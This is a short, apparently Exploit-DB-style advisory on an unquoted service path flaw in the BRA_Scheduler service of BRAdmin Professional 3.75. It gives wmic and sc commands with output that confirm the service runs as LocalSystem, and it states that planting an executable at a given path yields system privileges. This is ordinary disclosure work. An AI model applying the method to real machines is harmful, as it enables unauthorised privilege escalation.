BRAdmin Professional 3.75 Exploit, 'BRA_Scheduler' Unquoted Service Path

# Exploit Title: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
# Date: 2021-03-17
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://global.brother/
# Software Link: https://support.brother.com/g/b/downloadend.aspx?c=us&lang=en&prod=hls7000dn_us_eu_as&os=10013&dlid=dlf005042_000&flang=4&type3=26
# Version: 3.75.0000
# Tested on: Windows 10
# Source: https://docs.unsafe-inline.com/0day/bradmin-professional-3.75-unquoted-service-path

#Description:

This software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices. 
If a user can insert a executable which is called as "BRAdmin" under the "C:\Program Files (x86)\Brother\" , local system privileges could be obtained by the user. 

#Detection of unquoted service path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
Brother BRAdminPro Scheduler
BRA_Scheduler                             
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe                 
Auto


C:\>sc qc BRA_Scheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BRA_Scheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Brother BRAdminPro Scheduler
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

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